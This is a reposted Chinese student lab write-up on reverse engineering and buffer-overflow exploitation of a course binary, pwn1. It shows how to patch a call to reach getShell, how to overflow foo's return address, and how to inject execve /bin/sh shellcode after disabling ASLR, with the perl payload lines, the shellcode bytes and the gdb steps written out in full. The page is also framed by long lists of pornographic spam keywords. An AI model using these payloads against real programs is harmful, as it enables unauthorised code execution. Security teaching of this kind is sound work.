日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

EXP1 PC平台逆向破解

發布時間:2025/7/14 编程问答 21 豆豆
生活随笔 收集整理的這篇文章主要介紹了 EXP1 PC平台逆向破解 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

一、實踐目標

1.本次實踐的對象是一個名為20154310(原為pwn1)的linux可執行文件。

2.該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。

3.該程序同時包含另一個代碼片段,getShell,會返回一個可用Shell。正常情況下這個代碼是不會被運行的。我們實踐的目標就是想辦法運行這個代碼片段。我們將學習兩種方法運行這個代碼片段,然后學習如何注入運行任何Shellcode。

?

二、實踐內容

1.手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。

2.利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。

3.注入一個shellcode并運行這段shellcode。

?

三、實踐步驟

1.1 將可執行文件pwn1復制另存為文件名為學號20154310的文件。

?

1.2使用objdump -d 20154310 | more命令查看目標文件20154310的反匯編代碼。可看到main函數在第80484b5行出call 8048491處調用執行foo函數,對應機器碼為e8 d7 ff ff ff

?

?

想要使main函數在此處改為跳轉執行getshell函數,修改d7為c3即可( “d7ffffff”是補碼,表示-41,41 = 0x29 ,80484ba + d7ffffff = 80484ba - 0x29 正好是8048491這個值。)

1.3輸入vi指令打開為二進制文檔,后,。

?

再輸入:%!xxd指令,查看其十六進制格式

?

輸入/e8 7d查找,并將其修改為c3,

?

輸入:%!xxd -r轉換16進制為原格式

?

然后輸入/wq保存并退出

?

運行修改后的文件,成功執行getshell,再用反匯編指令查看其機器碼,不難發現此時已經改變了原代碼?

?

2.1通過構造輸入參數,造成BOF攻擊,改變程序執行流 由1.2圖中可看出,main主函數會調用foo函數,我們將實現main主函數調用getshell函數,并得到getshell函數的地址為“0804847d”。

?

接下來確認緩沖區大小,溢出的部分將會覆蓋到返回地址,cpu會嘗試執行該部分代碼,我們只需要調試出輸入多少字符會溢出以及溢出字符的輸入輸出順序,即輸入字符串后嗎,哪幾個字符會覆蓋到返回地址。把該溢出部分的數字對應上getshell的地址,cpu就會執行getshell。通過gdb進行調試,確認多少字符之后能覆蓋以及覆蓋到什么位置。

?

我們輸入1111111122222222333333334444444412345678進行嘗試。

?

?

可以看出在eip寄存器內顯示的16進制為343332311234為溢出字符,且存儲為倒序。

?

2.2倒序輸入getshell的內存地址 即“11111111222222223333333344444444\x7d\x84\x04\x08”,其中“\x0a”表示回車

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input 并用16進制查看指令xxd,查看input文件的內容 xxd input

?

?

2.3將input的輸入,通過管道符“|”,作為20154310的輸入,并查看效果。

3.1注入Shellcode并執行

準備一段Shellcode

shellcode就是一段機器指令,我們這里使用的shellcode是文章“Shellcode”入門中生成的shellcode。 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

安裝execstack軟件apt-get install execstack 設置堆棧可執行execstack -s 20154310?查詢文件的堆棧是否可執行.execstack -q 20154310檢測地址隨機化狀態more /proc/sys/kernel/randomize_va_space 關閉地址隨機化echo "0" > /proc/sys/kernel/randomize_va_space 檢測地址隨機化狀態more /proc/sys/kernel/randomize_va_space??

如圖所示,已完成設置,X表示文件的堆棧可執行,0表示地址隨機化。

3.2把輸入的字串放入input_shellcode文件里

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode 其中,最后的\x4\x3\x2\x1將覆蓋到堆棧上的返回地址的位置。?

?

3.4打開另一個終端進行調試

1.查看進程號為:4531 ps -ef | grep 20154310

2.啟動gdb進行調試 -gdb -attach 4531

3.5在gdb模式下設置斷點,來查看注入buf的內存地址。

disassemble foo?

?

?

?

可以看到,會斷在080484ae,ret完,就跳到我們覆蓋的retaddr的位置了。

3.6設置斷點后回到另一個終端,按一下回車后再回到該終端進行調試。

-break *0x080484ae -c

3.7先找到ESP的地址,再根據ESP的地址找到shellcode的地址。

x/16x 0xffffd38c?

?

如圖,找到了shellcode的起始位置90909090,以及1234所在的位置,\x1\x2\x3\x4應該緊挨著shellcode,所以shellcode的位置應該是0xffffd390。

退出gdb模式后,將shellcode寫進去

perl -e 'print "A" x 32;print "\x90\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode

(cat input_shellcode;cat) | ./?20154310

?

圖所示,注入攻擊成功。

五.實驗體會

這次實驗是我第一次使用虛擬機來進行反匯編操作,在此之前我沒有使用過linux系統。用慣了windows圖形界面的操作,對于代碼命令行的使用還有些生疏,希望在以后的實驗能夠多多練習,成功掌握這項技能。

轉載于:https://www.cnblogs.com/895359188qq/p/9136525.html

《新程序員》:云原生和全面數字化實踐50位技術專家共同創作,文字、視頻、音頻交互閱讀

總結

以上是生活随笔為你收集整理的EXP1 PC平台逆向破解的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 亚洲熟妇一区 | 国产一级网站 | 欧美性黄色 | 99精品久久99久久久久 | 一本一道久久a久久 | 黄色中文字幕在线观看 | 午夜一区二区三区在线观看 | 男生插女生网站 | 日本视频在线观看 | 黄色av导航 | 爱逼综合 | 日韩欧美99 | 日本免费电影一区二区三区 | 搞逼综合网 | 亚洲色吧 | 国产精品久久影院 | 亚洲一区精品视频在线观看 | 小宵虎南在线观看 | 曰本三级日本三级日本三级 | 成人羞羞网站 | 欧美三级视频在线播放 | 91在线一区二区三区 | 最新黄色在线 | 亚洲一区二区三区久久 | 午夜一区二区三区免费 | 性猛交富婆╳xxx乱大交麻豆 | 欧美一级专区免费大片 | 88久久精品无码一区二区毛片 | 久久久国产视频 | 亚洲妇女无套内射精 | 日本黄xxxxxxxxx100 | 快射视频在线观看 | 成人片黄网站久久久免费 | 日韩Av无码精品 | 亚洲色鬼| 亚洲少妇xxx | 嫩草av91 | 亚洲精品视屏 | 国产精品888 | 久久久久久久一区二区 | 日日射视频 | 精品国产999久久久免费 | 深夜福利91| 国产99在线视频 | 久久精精品久久久久噜噜 | 欧美日韩国产在线观看 | 日韩欧美一区二区三区在线观看 | 免费成人av | 日本午夜大片 | 亚洲黄色在线网站 | 曰女同女同中文字幕 | 日韩欧美精品在线 | 欧美一级爱爱视频 | 日韩精品一区二区不卡 | 成人久久网站 | 欧美69av | 欧美性猛交xxxx黑人猛交 | 91视频看 | 精品久久久国产 | 欧美黑大粗 | 久久久久女教师免费一区 | 亚洲欧美韩国 | 五月激情综合 | 啪啪免费av | 性欧美色图 | 久久精品99北条麻妃 | 日本香蕉视频 | 欧美精品在线观看视频 | 日本做爰全过程免费看 | 亚洲精品lv | 青青伊人精品 | 久久成人人人人精品欧 | 久久欧洲 | 中文字幕在线影院 | 水密桃av| 苍井空亚洲精品aa片在线播放 | 亚洲综合首页 | 综合色导航 | 韩国主播青草55部完整 | 久久久久国产精品一区二区 | 日韩高清黄色 | 日韩123 | 日本少妇在线观看 | 欧美一级免费看 | 熟女人妻在线视频 | 天堂网资源 | 操比视频网站 | 国产日韩视频一区 | 啪啪福利视频 | 欧美综合区| 日韩午夜小视频 | 久久久免费精品 | 亚洲一区二区综合 | 久久桃花网 | 国产一区二区视频在线观看免费 | 午夜精品美女久久久久av福利 | 免费精品一区二区 | 欧美精品久久天天躁 | 欧洲美女与动交ccoo |